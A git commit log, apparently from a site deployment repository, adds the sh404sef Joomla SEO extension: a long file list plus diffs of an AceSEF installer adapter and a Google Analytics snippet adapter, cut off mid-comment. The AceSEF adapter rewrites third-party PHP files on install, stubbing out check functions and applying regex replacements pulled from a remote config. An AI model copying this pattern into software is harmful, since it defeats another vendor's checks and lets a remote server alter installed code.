deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/metas/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/tmpl/refresh_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/notfound/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/pageids/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/helpers.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j2_filters.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/tmpl/view404_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.html.full.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/urls/view.raw.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/default_j3.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/tmpl/index.html create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.html.php create mode 100644 deployed/sh404sef/administrator/components/com_sh404sef/views/wizard/view.raw.php create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/index.html create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.php create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/mod_sh404sef_cpicon.xml create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/styles.css create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j2.php create mode 100644 deployed/sh404sef/administrator/modules/mod_sh404sef_cpicon/tmpl/default_j3.php create mode 100644 deployed/sh404sef/components/com_sh404sef/cache/index.html create mode 100644 deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.02d49a3aafc62f9ee0bccaa9e183178e.php create mode 100644 deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.d5dde3116a272763f3290493fc57fa14.php create mode 100644 deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.efec898659ae35934839e1b0fbdf1de7.php create mode 100644 deployed/sh404sef/components/com_sh404sef/cache/shCacheContent.ff597811990a30e840dc472723de9475.php create mode 100644 deployed/sh404sef/components/com_sh404sef/images/external-black.png create mode 100644 deployed/sh404sef/components/com_sh404sef/images/external-white.png create mode 100644 deployed/sh404sef/components/com_sh404sef/index.html create mode 100644 deployed/sh404sef/components/com_sh404sef/meta_ext/com_content.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sample-404-Not-Found.tpl.html create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_banners.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_community.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_comprofiler.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_contact.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_content.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_hotproperty.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_kunena.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_letterman.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_magazine.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_mtree.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_myblog.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_newsfeeds.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_search.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_users.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_virtuemart.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_weblinks.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/com_wrapper.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sef_ext/sample_com_plugin.php create mode 100644 deployed/sh404sef/components/com_sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/components/com_sh404sef/shCache.php create mode 100644 deployed/sh404sef/components/com_sh404sef/shPageRewrite.full.php create mode 100644 deployed/sh404sef/components/com_sh404sef/shPageRewrite.php create mode 100644 deployed/sh404sef/components/com_sh404sef/shSec.php create mode 100644 deployed/sh404sef/media/com_sh404sef/index.html create mode 100644 deployed/sh404sef/media/com_sh404sef/pinterest/index.html create mode 100644 deployed/sh404sef/media/com_sh404sef/pinterest/pinit.html create mode 100644 deployed/sh404sef/media/com_sh404sef/pinterest/pinit.js create mode 100644 deployed/sh404sef/media/com_sh404sef/pinterest/pinit6.png create mode 100644 deployed/sh404sef/media/plg_shlib/css/bs.css create mode 100644 deployed/sh404sef/media/plg_shlib/css/index.html create mode 100644 deployed/sh404sef/media/plg_shlib/css/modal.css create mode 100644 deployed/sh404sef/media/plg_shlib/css/modalfix.css create mode 100644 deployed/sh404sef/media/plg_shlib/index.html create mode 100644 deployed/sh404sef/media/plg_shlib/js/bs.js create mode 100644 deployed/sh404sef/media/plg_shlib/js/index.html create mode 100644 deployed/sh404sef/plugins/installer/sh404sef/index.html create mode 100644 deployed/sh404sef/plugins/installer/sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/plugins/installer/sh404sef/sh404sef.xml create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/index.html create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.php create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefanalytics/sh404sefanalytics.xml create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/index.html create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sef_offline_template.php create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.php create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefofflinecode/sh404sefofflinecode.xml create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/index.html create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.php create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsimilarurls/sh404sefsimilarurls.xml create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/index.html create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.js create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.php create mode 100644 deployed/sh404sef/plugins/sh404sefcore/sh404sefsocial/sh404sefsocial.xml create mode 100644 deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/index.html create mode 100644 deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.php create mode 100644 deployed/sh404sef/plugins/sh404sefextplugins/sh404sefextplugindefault/sh404sefextplugindefault.xml create mode 100644 deployed/sh404sef/plugins/system/sh404sef/index.html create mode 100644 deployed/sh404sef/plugins/system/sh404sef/sh404sef.php create mode 100644 deployed/sh404sef/plugins/system/sh404sef/sh404sef.xml create mode 100644 deployed/sh404sef/plugins/system/shlib/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/installation.script.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Curl.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Interface.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Proxy.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Socket.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Stream.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/Test.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Adapter/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Client/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Cookie.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/CookieJar.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/Stream.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/Response/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/AbstractDevice.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Bot.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Checker.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Console.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Desktop.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Device.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Email.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/DeviceAtlas.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/TeraWurfl.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/WurflApi.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Adapter/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Features/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Feed.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Mobile.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Offline.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Probe.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Spam.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/NonPersistent.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/Session.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Storage/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Text.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/Validator.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/UserAgent/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Http/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Interface.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/Resource.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Autoloader/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/Interface.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/PluginLoader/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Loader/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/Http.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/Uri/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/Zendshl/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/ZendFramework-1.11.7-minimal/library/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/apc.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/manager.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcache.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/memcached.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/cache/wincache.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/class.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/dbrecord.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/classes/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/exceptions/exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/exceptions/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/helper.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/helpers/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/db/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/exception/exception.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/exception/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/html/bses/helper.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/html/bses/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/html/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/html/modals/helper.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/html/modals/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/controllers/base.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/controllers/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/base.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/file.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/helper.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/layouts/layout.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/admin.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/base.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/form.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/item.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/models/list.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/views/base.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/mvc/views/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/abstractdecorator.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/autoloader.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/convert.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/cycle.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/date.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/email.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/factory.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/http.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/log.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/resourcemanager.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/strings.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/system/xml.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/index.html create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popupstandardbutton.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3popuptoolbarbutton.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/j3shajaxtoolbarbutton.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopupstandardbutton.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shl_packages/toolbarbutton/shpopuptoolbarbutton.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shlib.php create mode 100644 deployed/sh404sef/plugins/system/shlib/shlib.xml create mode 100644 deployed/sh404sef/plugins/system/shmobile/index.html create mode 100644 deployed/sh404sef/plugins/system/shmobile/shmobile.php create mode 100644 deployed/sh404sef/plugins/system/shmobile/shmobile.xml diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/access.xml b/deployed/sh404sef/administrator/components/com_sh404sef/access.xml new file mode 100644 index 00000000..bb9d8026 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/access.xml @@ -0,0 +1,7 @@ + + + +
+ +
+
diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/acesefinstaller.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/acesefinstaller.php new file mode 100644 index 00000000..1da458f5 --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/acesefinstaller.php @@ -0,0 +1,77 @@ +parent->getPath( 'source'); + $path = $source . '/' . $this->_getElement() . '.xml'; + $fileContent = JFile::read( $path); + if(!empty( $fileContent)) { + $fileContent = str_replace( 'group="sef"', '', $fileContent); + $fileContent = str_replace( 'group="url"', '', $fileContent); + // group="seo" is of no use for us, so leave it behind + $written = JFile::write( $path, $fileContent); + } + + $path = $source . '/' . $this->_getElement() . '.php'; + $fileContent = JFile::read( $path); + if(!empty( $fileContent)) { + $defaults = array( '_check', '_sh_is_clever', '_viva_acesef', '_i_love_acesef', '_sh_loves_acesef', '_need_acesef', '_a_b_c_acesef'); + $remoteConfig = Sh404sefHelperUpdates::getRemoteConfig( $forced = false); + $remotes = empty($remoteConfig->config['ace_prefixes']) ? array() : $remoteConfig->config['ace_prefixes']; + $prefixes = array_unique( array_merge( $defaults, $remotes)); + foreach( $prefixes as $prefix) { + $fileContent = preg_replace( '/function\s*' . preg_quote( $prefix) . '\s*\(\s*\)\s*\{/isU', 'function ' . $prefix . '() { return;', $fileContent); + } + // generic replace + $defaultReplaces = array( array( 'source' => 'die;', 'target' => '')); + $remoteReplaces = empty($remoteConfig->config['ace_replaces']) ? array() : $remoteConfig->config['ace_replaces']; + $replaces = array_unique( array_merge( $defaultReplaces, $remoteReplaces)); + foreach( $replaces as $replace) { + $fileContent = preg_replace( '/' . $replace['source'] . '/sU', $replace['target'], $fileContent); + } + + // write back manifest file + $written = JFile::write( $path, $fileContent); + } + + // fix in memory object, by killing it, thus prompting recreation + $manifest =& $this->parent->getManifest(); + $manifest = null; + $manifest =& $this->parent->getManifest(); + $this->manifest =& $manifest->document; + + } +} \ No newline at end of file diff --git a/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsga.php b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsga.php new file mode 100644 index 00000000..413f980b --- /dev/null +++ b/deployed/sh404sef/administrator/components/com_sh404sef/adapters/analyticsga.php @@ -0,0 +1,371 @@ +_shouldInsertSnippet()) + { + return ''; + } + + //$config->analyticsType = 'uga'; + switch (Sh404sefFactory::getConfig()->analyticsEdition) + { + case 'ga': + $snippet = $this->_getSnippetGa(); + break; + case 'uga': + $snippet = $this->_getSnippetUga(); + break; + case 'ga_and_uga': + $snippet = $this->_getSnippetGa() . "\n" . $this->_getSnippetUga(); + break; + case 'gtm': + $snippet = $this->_getSnippetGtm(); + break; + default: + $snippet = ''; + break; + } + + return $snippet . "\n"; + } + /** + * Get Classic Ananlytics tracking snippet + * + */ + protected function _getSnippetGa() + { + // get config + $config = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + // fire event so that plugin(s) attach custom vars + $customVars = array(); + $dispatcher = ShlSystem_factory::dispatcher(); + $dispatcher->trigger('onShInsertAnalyticsSnippet', array(&$customVars, $config)); + + // in case of 404, we use a custom page url so that 404s can also be tracked in GA + $customUrl = !empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404 ? "/__404__" : ''; + + $displayData = array(); + $displayData['tracking_code'] = trim($config->analyticsId); + $displayData['custom_vars'] = $customVars; + $displayData['custom_url'] = $customUrl; + $displayData['anonymize'] = !empty($config->analyticsEnableAnonymization); + + $snippet = ShlMvcLayout_Helper::render('com_sh404sef.analytics.snippet_ga', $displayData); + + return $snippet; + } + + /** + * Get Universal Analytics tracking snippet + * + */ + protected function _getSnippetUga() + { + // get config + $config = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + // in case of 404, we use a custom page url so that 404s can also be tracked in GA + $customUrl =!empty($pageInfo->httpStatus) && $pageInfo->httpStatus == 404 ? '/__404__' : ''; + + $displayData = array(); + $displayData['tracking_code'] = trim($config->analyticsUgaId); + $displayData['custom_domain'] = 'auto'; + $displayData['custom_url'] = $customUrl; + $displayData['anonymize'] = !empty($config->analyticsEnableAnonymization); + + $snippet = ShlMvcLayout_Helper::render('com_sh404sef.analytics.snippet_uga', $displayData); + + return $snippet; + } + + /** + * Get Google Tags manager snippet + * + */ + protected function _getSnippetGtm() + { + // get config + $config = Sh404sefFactory::getConfig(); + $pageInfo = Sh404sefFactory::getPageInfo(); + + $displayData = array(); + $displayData['tracking_code'] = trim($config->analyticsGtmId); + + // finalize snippet : add user tracking code + $snippet = ShlMvcLayout_Helper::render('com_sh404sef.analytics.snippet_gtm', $displayData); + + return $snippet; + } + /** + * Set client object to 